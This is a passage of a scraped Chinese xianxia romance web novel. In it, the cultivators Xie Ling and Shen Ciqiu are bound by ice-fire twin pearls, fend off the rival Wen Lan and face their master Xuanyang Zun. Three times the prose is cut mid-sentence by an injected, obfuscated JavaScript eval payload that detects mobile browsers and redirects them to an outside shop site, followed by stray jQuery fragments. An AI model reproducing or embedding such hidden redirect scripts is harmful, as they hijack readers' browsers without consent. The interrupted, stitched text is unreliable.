然后他就听到了那声能勾得人心尖颤的低吟。
谢翎愕然抬头,猝不及防对上了沈辞秋一双桃花潋滟的眼。
沈辞秋眸子无法聚焦,茫然地在找寻什么,他额上渗出了一层薄汗,乌黑的鬓发染了湿意,轻轻蹭在他脸颊边,黑白分明,美不胜收。
高山的雪化作春日的泉,泠泠软软淌下来,谁见了不想去怜惜地掬一捧在手心?
谢翎:“……”
这幅画面对颜控简直暴击。
反派有这么张脸,杀人还动什么刀,直接拿颜值打,一杀杀一片。
谁看了不迷糊?
沈辞秋踉跄着朝他倒下的时候,谢翎下意识伸手把人接住了。
不碰还好,这一碰,两个人都浑身一抖,闷哼出声。
隔着衣料谢翎都能感觉到沈辞秋的温度,对别人来说大概很烫,但对他来说就是雪中送炭,冻僵的身子终于找到了热源,谢翎一呆。
好,他的神智也没了。
冷到不行的身体有自己的想法,谢翎猛地勒过沈辞秋纤瘦的腰,用力把人死死抱住了。
好暖啊……
白梅冷香扑面而来,谢翎鼻尖嗅着暖融融的香味,恨不能把这支白梅直接揉碎在自己怀里,好汲取他所有的温暖。
突如其来的拥抱让沈辞秋终于抓住了清风,这抹冰凉如同沙漠里的甘霖,渴到无力的人怎肯轻易放过,几乎立刻就缠了上去,企图汲取更多。
冰凉的,很舒服,但是热……还不够……
沈辞秋又低低嗯了一声。
他宽大的袖袍滑下,露出段玉白胜雪的胳膊,如绸缎般绕上谢翎的脖颈,让两人的皮肤挨在了一块儿。
神志不清的谢翎捉过一只送上门来的手,分开绵软的手指,强硬地与沈辞秋十指相扣,按在手心里揉弄。
温润,如被把玩已久的羊脂玉。
冰与火一碰,两人都舒服地喟叹出声。
不过也就是这一声之后,他们身体同时一僵。
短暂的触碰舒缓了他们的燥热和寒冷,也让两个差点快失了智的人艰难捡回了一点点清明。
谢翎率先神,发现自己不仅搂着大反派的腰,还抓着他的手,顿时心头只剩下一行疯狂刷屏的大字,加大加粗:要完!!!
谢翎你在干什么你居然敢吃反派豆腐要死要死要死了!!!
沈辞秋怔愣后,手足无措,眼尾瞬间羞得更红了。
他平生都没与人如此亲近过,理智告诉他必须立刻甩开这个不知天高地厚的小妖,但偏偏他四肢绵软,如果不是谢翎横在他腰间的手臂,他怕是已经站不稳滑到地上。
而且谢翎冰凉的气息简直在诱着他靠近,身体根本舍不得离开。
羞耻和愠怒同时燎过沈辞秋,他一咬舌尖,试图维持清醒:不对劲,储物器里究竟飞出了什么邪门的东西!
他几乎用尽神智,才勉强松开搂住谢翎脖颈的手臂,但也只是勉强滑落搭在他肩头,因为身体背叛了意志,舍不得彻底松手。
他刚想探查一下究竟是什么进入了身体里,岂料相贴的皮肤一分开,那股火变本加厉从丹腑一路窜上脊背,比方才还要来势汹汹!
沈辞秋猝不及防,识海瞬间被火燎得空白一片,少年人脊背一绷,纤长的身体剧颤——
他只觉眼前炸开汹涌的白雾,顷刻将他包裹吞没,炽热,绵密,摆脱不开,又像蛮横的猛兽,趁他无法反抗,肆无忌惮地舔舐了他所有力气。
沈辞秋失神地张了张口,连一个音节都没能再发出,眼前一黑,竟就这么受不住地晕了过去。
倒在了谢翎的怀里。
……好轻啊,像接住了一片云。
谢翎恍恍惚惚地想。
大概是自己现在修为还不高,反应没沈辞秋那么大,刚才那一点清明让他终于摸清楚了究竟是什么个情况。
邪修储物器里飞出来的,是冰火双生珠,本来是主角之后会得到的宝物,能随着主人的修为提升品阶,最高能升到天阶,主角自己会把烈火珠入体,用作修炼,寒冰珠则拿来泡茶喝。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456077|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
现在倒好,自从沈辞秋提前出现,剧情一路走岔,冰火双生珠比原著中来得早,本来是好事,可问题是上错了花轿,烈火珠跑进了冰灵根的沈辞秋身体里,寒冰珠赖上了他这个火灵根。
这问题就太大了。
他们以后如果不靠同修来压制冰火双生珠的暴动,今天这样你冷我热的症状,每个月都会来一次。
珠子一旦入了体,若杀了那个人,珠子不会出来,只会跟着报废。
好消息,沈辞秋暂时不会杀他的理由又多了一个。
坏消息,他暂时不能动沈辞秋的理由也增加了。
而且他跟反派被迫绑得更紧了。
冰火双生珠一旦收入体内,不到合体期是没法主动取出来的,难道合体期之前他都得跟沈辞秋绑定?
谢翎简直两眼一黑,看不到未来。
他也恨不得直接晕过去算了,头疼,真头疼!
谢翎吐出一口冰凉的雾气。
他冷得快要受不了,运转起自己那点微薄的灵力,托起沈辞秋的手,两人掌心刚贴上,沈辞秋体内的烈火珠也被带着雀跃运转,灵息通过他们的掌间彼此交汇,冰火之力互相压制,又交融在一块儿,不分彼此。
沈辞秋昏迷中的身躯轻颤,唇色被烈火珠灼得明艳,无意识颤抖着往谢翎怀里又靠了靠。
贴得谢翎也跟着一抖,差点灵息走岔,忙不迭深呼吸,稳住了。
很快,谢翎体内的寒冰珠就消停了,他不仅四肢回暖,还感受到了珠子带来的修炼好处。
只是他跟沈辞秋修为差距太大,沈辞秋身上不正常的热度与红晕还没褪干净。
谢翎低头看了看,沈辞秋那美人面上还带着薄红,漂亮得不像话。
……大反派睡着的时候倒是人畜无害。
谢翎想了想,又想了想,而后,慢慢收紧了他俩还握在一起的手——
事已至此,先刷任务吧!
不知道玉仙宗的人什么时候会来,趁此机会,赶紧多刷刷握手时长,争取早点凑够两个时辰,做完补偿任务!
给沈辞秋降温,他自己回暖,不仅能调动灵珠修炼,还能刷任务时长,一举多得!
跟大反派之后要怎么办,也只能等他醒了再谈。
同修有好处,不修要受罪,沈辞秋是个聪明人,大概应该可能不会……拒绝的吧?
美人在怀,任务优先,谢翎,不愧是你。
11. 第十一章
沈辞秋意识回笼的时候,只觉得唇干口渴,四肢也还有些发软,但并不累,反而奇异的很舒服,让他整个人都有些难言的倦懒。
慵懒这个词分明与他从不沾边的。
沈辞秋还没完全清醒,低声呢喃:“水……”
一个冰凉的东西贴在他唇边,沈辞下意识张口,清香的甘露缓缓流入,润湿了他的唇瓣。
沈辞秋柔软浓密的鸦羽轻颤,缓缓睁开眼——
对上了温阑一张格外关切的脸。
沈辞秋:“……”
飘在云端暖洋洋的思绪一下砸进寒潭里,深寒凛冽冰冻三尺。
他怀疑自己还没睡醒,不然为什么温阑这东西会出现在他眼前?
偏偏温阑还端着碗拿着汤匙,十分温和地说:“阿辞,你醒了。”
方才的水就是温阑用汤匙喂的。
沈辞秋被褥下的手指骤然收紧,然后——眼睛一闭,好像又睡了过去。
温阑:“……”
“阿辞?”他又叫了一遍。
沈辞秋闭着眼,一想到方才喝下去的水是温阑喂的,就恶心得恨不能吐出来,他深吸一口气,认命睁开眼,视线一扫,知道这是自己在玉仙宗的卧房,然后看到了坐在桌边的谢翎。
谢翎正摇着扇子,那眼神不住地在他跟温阑身上飘来飘去。
沈辞秋:“谢翎。”
谢翎赶紧一收折扇,正襟危坐:“在!”
沈辞秋以一种格外温和的语气、还不是他们初次见面时那种礼貌客气,而是带着种跟亲近人说话的口吻:“能给我倒杯水吗?”
谢翎:“……”
谢翎怀疑沈辞秋一觉睡坏了脑子,不是失智就是失忆,不然怎么会对他这样好声好气,吓得他浑身羽毛都立起来了。
沈辞秋琉璃色的眼眸一抬,清泠泠望着他。
谢翎瞬间激灵,麻利地从桌上倒了杯茶,动作快得简直要出残影,迅速闪现,把茶水恭恭敬敬递到床边。
“沈师兄,请。”
沈辞秋低低嗯了一声,端过他手里的杯盏,喝了口润润嗓子,这让一旁还拎着勺子的温阑瞬间被放在了个极其尴尬的位置。
温阑面色一僵,脸上的笑险些挂不住。
谢翎余光扫过温阑表情,忽然有点明白了沈辞秋对他温言细语的用意。
这是在做给温阑看?
谢翎挑了挑眉。
所以是温阑单方面对沈辞秋有意思,但沈辞秋敬谢不敏?
沈辞秋喝了谢翎递过来的水,勉强把反胃感压下去,他经历了玄阳尊和郁魁,如今再见一个仇人,已经能很好稳住自己杀气,何况刚废了一个郁魁,他那满腔的杀意刚发作过,这会儿不急着再疯涌。
这些人,有一个算一个,他迟早都会把自己的血债讨回来。
“温少主,”沈辞秋放下茶盏,不咸不淡,“这里有我未婚夫在就好,你是客人,没有照顾我的道理,还请自便。”
温阑没料到沈辞秋竟然会直接赶人,一时愕然,在听到沈辞秋亲口说出“未婚夫”三个字后,握着汤匙的手猛地发力,好悬没把瓷勺当场捏碎。
沈辞秋对着谁都是清清泠泠的,话语也很淡然,可方才他喊谢翎的名字,如同皑皑白雪镀上一层暖阳,即便雪未化,也比素来多了一丝温度。
高岭之雪长年肃寒,所以这一点点温度显得更为珍贵稀奇,与众不同。
沈辞秋才跟谢翎认识多久,就能这样亲近?
为什么,就因为他觉得应该用这样的态度来对自己未婚夫,所以在为谢翎做出改变?
温阑胸中妒火蹿腾而起:这本该是他的,是他的!
要是知道沈辞秋这样的冷美人会甘愿为一个身份去改变,他早就该跟玉仙宗提亲,哪还会嫌沈辞秋除了脸性子无趣,哪能轮到一个废物半路截胡!
温阑捏着汤匙的手指已经用力到泛白,他不着痕迹看了谢翎一眼,谢翎后脑勺没长眼,但对各类视线非常敏锐,察觉到恶意,心里一凛,但没有回头。
温阑缓缓把各类情绪压下去,面上竟装得滴水不漏,无奈笑笑:“阿辞这要赶我走?虽然玉仙宗退了鼎剑宗的庚帖,我们没能成为未婚道侣,但至少还是朋友吧,我担心你,多留一会儿好不好?”
他以往这样讲,沈辞秋多半会愣一愣,然后看似平静实则无措,抿抿唇点头答应他的话,这一招屡试不爽,也是温阑为数不多的、觉得沈辞秋除了脸偶尔还是有点撩拨人心的地方。
温阑喜欢漂亮,并且乖顺可爱能被他揉捏在手的人,但沈辞秋除了美,其余的都不符,他清冷强大,拔剑杀人的时候眼里没有温度,飞溅的血碰不到他飘扬的衣角。
有段时间,温阑其实很怕沈辞秋。
直到他发现沈辞秋偶尔会在与人来往中露出一点强撑的小表情,掩盖自己被晃动的心绪,温阑讶然之下,征服欲又蠢蠢欲动。
若能驯服这样一朵冰雕雪砌的花,把他禁锢在自己手心里肆意玩弄,那又该是怎样一幅绝美的图景。
温阑这番话以往确实很有用,本以为今日也无往不利,但很遗憾,现在的沈辞秋谁也不惯着。
什么套路都得碰壁。
沈辞秋只说:“你自然可以留在玉仙宗,但如果继续留在我房间,可能不太方便。”
温阑一时没能理解过来。
沈辞秋便化开了冰雪般的眸子,当着温阑的面,潋滟着瞧了谢翎一眼。
暗示意味太浓,温阑终于恍然大悟,沈辞秋在说:我跟我未婚夫有悄悄话要说,你在这儿,我们不方便。
温阑:“……”
同样明白的谢翎:“……”
看不出来,沈辞秋还有演戏的天分,凭他演技加这张脸,去了现代,高低得拿个影帝金奖,做演艺界的瑰宝。
瑰宝本人甚至不需要他的配合,一个人就能把戏演全套。
谢翎不作声,温阑则咬碎了一口牙,还要维持自己君子形象的体面,额上青筋都快跳起来了,硬是笑着放下手里东西:“好,你们聊,等你得空我再来。”
他甚至关门时都还轻手轻脚,很有礼貌。
如果不是他方才落在自己身上的视线格外明显,谢翎都快真觉得他心无芥蒂了。
得,这也是个演员。
温阑出去后,沈辞秋立刻抬手落下隔音结界,方才那秋波盈盈的眼神霎时消失,又恢复成冰冰凉凉,古井不波。
变脸堪比翻书,谢翎啧啧称奇。
沈辞秋握着杯子,语调恢复了寻常:“我睡了多久,晕倒前后究竟发生了什么,你有头绪吗?”
尽管晕倒前被烧得几乎没了意识,记忆有一定断层,但某些事沈辞秋还记得,源头都得算在邪修的储物器里飞出的东西上。
谢翎:“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14456078|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
睡了一晚,是这样的,沈师兄可听过冰火双生珠?”
谢翎把冰火双生珠的事情一说。
“玉仙宗医修没有发现我们体内的灵珠,合体期前,我俩谁死了体内的珠子就废了。”谢翎着重强调,暗示沈辞秋可别想着杀了自己取珠子。
沈辞秋当然知道,因为他也听过冰火双生珠的名号。
寒冰珠适合冰、水灵根,烈火珠适合火灵根,邪修自己没拿来用,多半准备拿去卖或者换其他宝贝。
沈辞秋闭上眼,感受了下自己的身体,灵力运转,果然在丹腑内窥见了一颗火红的珠子,正温润蛰伏,散发着点点灵息,滋养自己身体。
沈辞秋睁开眼:“你替我安抚了灵珠?”
谢翎点头啊点头:“所以同修的事你觉得……”
“双修是吧?”事已至此,珠子已经阴差阳错入了体,沈辞秋没准备跟自己过不去,“可以,每月一次。”
谢翎猛地被呛住:“咳咳咳!”
不是,您真是语不惊人死不休啊!?
沈辞秋看谢翎惊得瞪圆了一双琥珀色眸子,顿了顿,疑道:“……怎么?”
谢翎边咳边比划:“咳,不是,我们一般那什么,不随便用双修这个词。”
沈辞秋:?
“双修分三阶,为的是灵力交融,”沈辞秋用念书的语气道,“初阶以掌相交,中阶渡息,终阶结连理,我们只需初阶双修,有什么问题?”
谢翎看他还一本正经给自己解释,不禁想沈辞秋究竟是多不食人间烟火,真不知道假不知道啊?
但当他对上了沈辞秋干净又纯粹的眼,里面澄澈一片,卧雪清霜。
在明知他是个大反派的情况下,谢翎还是忍不住想,这样的人,把任何污秽尘埃跟他联系在一块儿,好像都是种卑劣的亵渎。
谢翎觉得可能是自己不清醒。
但他还是捏了捏折扇,真给人解释了:“按理说是这样,但你要知道,某些词有约定俗成的用法,比如某些好词也能变成骂人,再比如现在大家提起双修,基本就代表那什么,鱼水交融,鸳鸯相欢。”
沈辞秋:“……”
他本来就鲜少跟人混在一块儿聊闲,这个他还真不知道。
谢翎拿眼神悄悄瞥啊瞥:“所以你之后可别随便跟谁说双修啊。”
沈辞秋:“……知道了。”
也就是说,他方才说的话,落在谢翎或者任何旁人的耳朵里,都等于他在问谢翎,我们要不要……上床?
沈辞秋捏着杯盏的手指一蜷。
他看着端坐,表情毫无波澜,但谢翎视线一落,就看到了他微微不安的指尖,以及泛起一点点红晕的玉白耳垂。
皮肤太白,一有颜色就不太藏得住。
谢翎:……哇哦。
他唰的一下打开折扇,遮住自己半张脸,心里惊涛骇浪:不得了,心狠手辣的反派居然还会不好意思!?
这可堪称打开新世界的大门!
他要是现在趁热打铁,说“沈师兄你耳朵怎么红了”,沈辞秋会是个什么反应?
可恶,好想试试。
但为了不逝世,还是忍了吧。
谢翎把冒头的胆子按了回去,摇着扇子随口转移话题:“对了沈师兄,你说过你跟温阑没什么,但我也听说你俩关系不错,今日见着,你好像也不太喜欢这位……朋友?”
12.第十二章
沈辞秋把杯子放到榻边矮柜上,话语里带着薄凉和淡淡的讥讽:“他不是我朋友,我也不会喜欢一个三心二意,作践真心四处留情的人。”
谢翎:嚯,看不出来温阑居然是个花心萝卜啊。
有故事!
沈辞秋怎么发现的?
谢翎给他续上茶,兴致勃勃:“展开说说?”
手边怎么没瓜子啊真该来点,谢翎遗憾地想。
沈辞秋凉丝丝剜了他一眼。
大反派眼神还是很有威慑力的,谢翎艰难把蠢蠢欲动的好奇心按下去,沈辞秋道:“后来还发生了什么,都说与我听。”
谢翎说书人似地展开折扇:“好的,从我们怎么被带出地底说起——”
原来卞云在上面左等右等等不到消息,就干脆先让其余弟子们出山,找安全地方待着,他自己跳了下来。
而黑鹰解决完自己那边的东西,匆匆赶到谢翎身边,神识正铺开,察觉玉仙宗的弟子来了,及时朝谢翎汇报。
和谢翎一起下来的两个玉仙宗弟子,郁魁废了,沈辞秋晕了,唯独他和黑鹰完好无损,怎么看怎么不对劲。
为避免麻烦,谢翎立刻让黑鹰回到另一个路口去,假装受伤,而自己就地装晕,就连躺下的姿势都选得很好。
他只是很遗憾地想,握手时间还没够两个时辰呢。
当然,握手这种事就不用跟反派提起了。
卞云过来一看,大惊失色,尤其是郁魁的伤,太重了,眼看不好。
“那位师兄唤出个法器,把我们所有人都拖了上去,”谢翎奇道,“我看他朝你阴阳怪气,鼻子不是鼻子眼不是眼,还以为他会放着你不管,没想到还是把你捎上了。”
“卞云不屑用小手段,”沈辞秋道。
人回玉仙宗后,谢翎假装悠悠醒来,玄阳尊的弟子废了一个,非同小可,面对玉仙宗的诘问,谢翎只说他们遭遇邪修,沈师兄从天而降救了他,然后他就晕了过去,什么都不知道。
谢翎:“我怕多说多错,万一我俩口供露馅就糟了,我说自己不知道,沈师兄可自由发挥。”
沈辞秋点了点头。
谢翎处理得很好,只要一问三不知,真相就捏在沈辞秋一个人手里,冰火双生珠入体后医修也查不出来,郁魁的事有的是办法糊弄。
沈辞秋正沉思,谢翎看了看他、又看了看他,神鸟的八卦之心不死:“我跟沈师兄如今在一条船上,自然不会……所以你是怎么发现温阑不是个东西的,难不成——”
谢翎没能嘚啵完。
沈辞秋一拂袖,灵力挥出劲风,门板“啪”地一声,一开一合,谢翎眨眼又被扔出了门外。
谢翎:“……”
怎么还有动不动把人扔出房间的爱好?
不过转念一想,沈辞秋没一怒之下再给他下个恶咒或者剁手剁脚,只是扔出门外,结合他反派的身份,简直已经称得上仁慈,他这个主角该烧高香才对。
谢翎理了理衣服,保证自己一根发丝都不乱,折扇一展,才发现院子里还站了个人。
是温阑,他居然没走。
沈辞秋的庭院只在角落里有一颗高大的树,墙上爬了一些紫藤花,除此之外草木多低矮,池水粼粼,一派清幽,温阑负手站在花墙下,神色温润,乍看很有君子风范。
温阑在原著出场就是个死人,谢翎对他不熟,若是沈辞秋说的是真的,那么原著里他杀了温阑,是因为发现温阑劈腿?
可如今沈辞秋貌似提前知道了,而且直接给自己换了个未婚夫。
本来,沈辞秋这条线随便怎么变,只要玄阳尊不死,对主角影响都不大,可偏偏沈辞秋选中了谢翎,这下可好,主角直接被拖下水了!
温阑刚才可能在赏花,转身对谢翎客气颔首:“七殿下。”
先前沈辞秋没醒时,他们已经打过一轮招呼,谢翎点点头:“温少主还在等沈师兄?”
孰料他却摇摇头:“不,我在等你。”
“殿下,我有句话想劝你,你与阿辞,实非佳偶。”
谢翎扬眉:“哦?”
又要拿他如今废人一个配不上沈辞秋那套说词?讲真,这些人能不能换点新鲜的,他耳朵都快听出茧子了。
温阑还真给他换了点新鲜的。
温阑:“我听闻过七殿下先前退婚时的壮举,颇为钦佩,看得出殿下是个率性之人,可阿辞喜静,二位在一起,日子长了怕难免冲突,万一不仅没法顺利成婚,还反目相向,连朋友也做不成,岂非遗憾?我实在不忍看二位走到这一步啊。”
谢翎听他提到自己退婚时顿了顿,再听后面,心说可以啊,不愧是鼎剑宗少主,比郁魁那个棒槌会说话多了,不管是不是在阳奉阴违,总之装得滴水不漏,劝出了新意,好像在真心为他着想。
谢翎摇着扇子笑了笑:“那你觉得沈师兄适合怎样的人,温少主你这样的?”
温阑谦虚:“我与阿辞虽谈得来,但尚不敢多想。七殿下喜欢怎样的人?”
我喜欢怎样的人,长的好看三观相合的,不过谢翎故意往沈辞秋的反方向说:“温柔可爱的吧。”
这一点温阑倒是打心底赞同他,果然嘛,上位者谁不喜欢温顺的?他还要开口时,忽觉一股强大的灵力靠近。
谢翎也一下收了折扇,警惕地绷紧。
黑鹰就守在院子里,可来人远比黑鹰更强,周身威压没有刻意释放,但也毫不掩饰,他踏步而下,每一步看似寻常,却仿佛踩碎了虚空。
温阑停下话头,赶紧恭恭敬敬行礼:“见过玄阳尊。”
原来他就是玄阳尊,日后主角密切的合作人。
谢翎大着胆子迅速打量他一番:眉目锋利不怒自威,同样是面无表情,沈辞秋就是清冷似雪,而玄阳尊则沉如深渊,瞧上一眼,心里就容易升畏惧与胆寒。
很符合正道尊者刻板印象。
谢翎行礼:“见过玄阳尊。”
玄阳尊只是对他俩略一点头,房门开了,沈辞秋走出来,躬身:“见过师尊。”
玄阳尊目光缓缓扫过他,沈辞秋气息平稳,看来即便受了伤,伤也该好了,因此玄阳尊省了过问他身体如何的步骤,开口道:“郁魁丹腑尽废,无法再修行了。”
他看着自己的大弟子垂着首,身形一颤,声音有些紧绷:“方才我已听谢师弟说了。”
“是我没能护好同门师兄弟,还请师尊责罚。”
沈辞秋自请领罚,他声音不似平常,显然也在克制心绪,既然他已经从别人那里听到消息,想来应该已经过了最震惊的时候,只剩难过和自责,很符合玄阳尊对他的认知。
玄阳尊:“郁魁醒来说,你本可以救他。”
沈辞秋似是下意识偏头看了谢翎一眼,后垂眸,也不解释,只说:“请师尊责罚。”
而接到沈辞秋眼神的谢翎一个激灵,他立刻明白沈辞秋的意思,该他表演的时候了。
“玄阳尊!”谢翎抬眼,秒秒钟入戏,一副非常焦急的模样,“当时我危在旦夕,沈师兄肯定是为了救我才耽误了时机,人力终有不能及,沈师兄已竭尽所能,不该苛责,还请玄阳尊明察!”
玄阳尊闻言,缓缓转头,终于把视线多分给了谢翎一点,他语调起伏不大,但口吻中分明带了一种对不信任事情的确认:“你是说,在你和郁魁之间,沈辞秋选择了救你?”
温阑也愣了,这件事他还是头次听说!
沈辞秋话不多,但护短,带着弟子们出门在外,能扛的他都自己一力扛下,更别说他的亲师弟郁魁,简直像个被兄长罩着的大少爷。
沈辞秋跟谢翎才认识几天,沈辞秋居然会丢下郁魁不顾,先救谢翎!?
温阑的手指攥紧,眼中闪过一抹不甘,姓谢的究竟给沈辞秋灌了什么迷魂汤,就这么喜欢他!?
谢翎还没接上玄阳尊的话,沈辞秋就徐徐道:“当时谢师弟命悬一线,我刚将他救下,岂料回头就见……是我之过。”
玄阳尊不再开口,沉默地看向沈辞秋。
沈辞秋垂着头,也不再出声。
庭院里的风似乎都随着他们沉了下来,凝滞浓稠,花草树木皆不动。
在这样窒息的威压里,温阑这个无关人员都禁不住出了一身冷汗。
但沈辞秋的内心毫无波澜。
从前他会想为宗门分忧,为师尊尽孝,会在乎师尊的心绪,但如今玄阳尊的眼神也好威压也罢,已经无法让他内心再撼动分毫。
养育之恩本当为报,可你养了我,就能剜我骨要我心,随意杀我吗?
你这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14458239|154144||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是养了个孩子,还是养了个予取予求的傀儡器具?
若早知如此,不如当初不曾相遇,沈辞秋宁愿死在人事不知的婴孩阶段,也不愿在尝遍所有痛苦后再凄惨赴死。
他曾把玉仙宗当做家啊。
玄阳尊那样严厉刻板的性子,他从没半点怨言,心中还觉得,大约严父就该是这等模样。
师尊给了他立足之地,他愿意以一切为报,如果玄阳尊受伤需要他以命换命,沈辞秋当初绝对二话不说就给。
但是慕子晨不行,为了这个污蔑他名声、勾引他未婚夫、挑拨他师门关系的慕子晨,不行。
沈辞秋上辈子同意给出仙骨,已经是看在玄阳尊的恩情上,仁至义尽,还要把他的命给慕子晨,不行。
人心都是肉做的,玄阳尊要为慕子晨杀他,剿灭了沈辞秋心中最后一丝师徒情分。
他的家没了。
说来,上辈子杀掉慕子晨后,挥袖就把他扫出去的正是玄阳尊,当时撞到柱子上,沈辞秋毫无灵力,挨了这么一下,即便没有后面自己扎向心脏那刀,也离死不远了。
所以玄阳尊已经杀过他一回,养育之恩在剜仙骨时就算还了,杀身之仇得另算。
玄阳尊不再是他师父,而是他日后迟早要杀掉的仇人。
哪怕日后世人要骂他白眼狼,他也无所谓,在所有人都不知道的地方他已经死过一次,还有什么可怕的?
玄阳尊默然看着沈辞秋,末了,余光又慢慢掠过谢翎。
他终于开了口:“也罢,修行之人各有命,郁魁遭此劫,也是他命数如此,你不必自责。”
这就是不会惩罚沈辞秋的意思了。
玄阳尊:“我会为他再想想法子,看是否还能修复丹腑。”
玄阳尊的语气始终很淡漠,听不出半点为徒弟着急或者伤心的意思,他向来如此,外人夸他心怀天下,大道为公不偏私情,沈辞秋在心底冷冷地想:不知道等小师弟慕子晨将来伤了死了,你是不是也能如今天这样,面不改色。
沈辞秋:“我也会尽力相助师弟。”
——助他去轮回。
玄阳尊话说完,脚步一踏便消失在原地,院子里的风重新流动,池子里的鱼儿甩尾溅起一点水花,谢翎深呼吸,嗅了满腔馨香,终于感觉自己活了过来。
沈辞秋直起身,半点眼神也没分给温阑,温阑却主动上来:“阿辞,郁魁的事很遗憾,但你也别太自责,太伤心了。”
沈辞秋并不伤心:“多谢温少主开导。不知少主此次来玉仙宗做客多久,弟子还没给你安排住处吗?”
怎么还赖在我这儿不走?
“我此次会多留些时日,半月后与玉仙宗的人一道去参加衡山仙尊的寿宴。”
沈辞秋好看的眉心微微蹙起:他还要留半个月?
温阑不知道自己正在被人嫌弃,状若不经意问:“没想到是阿辞是为了救七殿下才没能顾上郁师弟,二位相识之日尚浅,却好像很投缘?”
沈辞秋一顿,目光转向谢翎:你与他说了什么?
谢翎展开折扇,用眼神回话:冤枉,我可什么都没说!
温阑看着他俩就在自己面前眉来眼去,差点没绷住脸上的表情。
沈辞秋视线落回来,就发现了温阑的破绽。
他拒绝了鼎剑宗的庚帖,选了别人当未婚夫,温阑既然是个伪君子,那么此刻他的平静肯定都是装的。
不是说沈辞秋觉得温阑有多喜欢他,而是本该到手的婚约没了,温阑肯定不甘心。
这就不能忍了?
沈辞秋心道,我第一次发现你顶着我未婚夫的名头去勾搭慕子晨时是什么心情……谁又来考虑过他的感受?
沈辞秋觉得谢翎说得很对,不能让这些人死得太轻巧,以牙还牙,只有身上的痛不够,心上的滋味也得让他们尝个够。
“我与谢师弟的确投缘,我跟他——”沈辞秋说到这里,顿了顿,他本来想说一见如故,可又想起因为先前谢翎当着玉仙宗弟子们的面大放厥词,“沈师兄跟妖族七殿下有道侣之实”的谣言恐怕已经快传遍全宗门了。
那“一见如故”就有点轻了。
水面鱼儿一跃,波光粼粼,碎光映着沈辞秋琉璃色的眼,他波澜不惊改了口:“我们一见倾心。”
13.第十三章
谢翎差点被“一见倾心”四个字直接砸出惊天动地的呛咳,他绷住唇,折扇“唰”地一展,拼命扇风,好把自己的震撼直接扇回心底。
他觉得自己可能估算错了沈辞秋的段位。
自己先前因着同命咒恼怒,想膈应沈辞秋,不仅在玉仙宗弟子面前豁出去了大放厥词,还胆大拉住沈辞秋的手,不能是因为这个,反而给沈辞秋长了见识,打开了什么奇怪的开关吧?
毕竟沈辞秋可是连大家习惯把双修理解成上床都不知道的高岭之花啊!
完了,总觉得好像搬起石头砸了自己的脚。
沈辞秋拿大招当普通攻击,杀伤力惊人,温阑瞬间睁大了眼,这回饶是他再能演,都没能忍得住。
温阑难以相信:“你、你们……”
他从没想过,有一天会从沈辞秋嘴里听到他对别人一见倾心。
沈辞秋不是澄澈似霜雪,不通情爱吗?
谢翎有什么本事!?
身份地位修为,谢翎样样比不过他,就连外貌也……温阑升腾的火气一停。
他阴沉沉地打量过谢翎。
剑眉星目,俊美无俦。
温阑很想说谢翎外貌也比不过自己,但面色变了几变,又不得不承认,谢翎这张脸确实没多少人能俊得过他。
沈辞秋喜欢这样的?
原来他以为的高岭之花,结果也不过是个会以貌取人的俗辈?
这样的人花了那么长时间温阑都没能拿下,真是……温阑袖袍底下的手攥得咔咔作响。
沈辞秋耳聪目明,听到那细微的骨头声,更没错过温阑眼底的阴鸷,沈辞秋心底凉薄讥嘲,语气淡淡:“若无别的事,温少主请吧。”
温阑深吸一口气,竟然还能捏出一个笑来,又说了句得体的告辞后,这才不紧不慢离开。
沈辞秋看着温阑的背影,眼中冰冷的杀意不再掩饰,谢翎扭头,看了个全。
他瞬间脑补一出大戏:沈辞秋曾真心喜欢温阑甚至愿意结为道侣,结果发现对方朝秦暮楚是个渣,自己真心错付,于是因爱生恨,恨到想杀了他。
好一出恨海情天啊,谢翎脑补完,还附上了点评。
可沈辞秋为什么又想杀郁魁?
算了,不敢问,而且郁魁想害他,死了也就死了,不重要。
谢翎该说的话都带到,戏也演完了,不必再跟沈辞秋待在一块儿,带着黑鹰走了,一时间院子里只剩下沈辞秋一人。
沈辞秋站在院中,微风轻拂,墙上的紫藤花摇曳,他垂眸,看向了池塘中自己的倒影。
疏影浮光,十八岁的少年人,是他熟悉又陌生的模样。
他演自己从前不擅长的戏,撒谎也越来越熟练,礼仪教条一点点抛掉,变得不再像自己,面目全非。
一条鱼游过,惊扰了平静的池面,模糊了沈辞秋的脸。
只要能复仇,怎样都无妨,沈辞秋对自己道。
他掩去眸中杀气,平静直起身,身为玉仙宗大师兄,他此刻该去探望下自己那被废的可怜师弟了。
*
沈辞秋刚走到郁魁的院外,就听到里面传来很大的动静,有什么东西被砸碎的声响,随即是郁魁的怒吼。
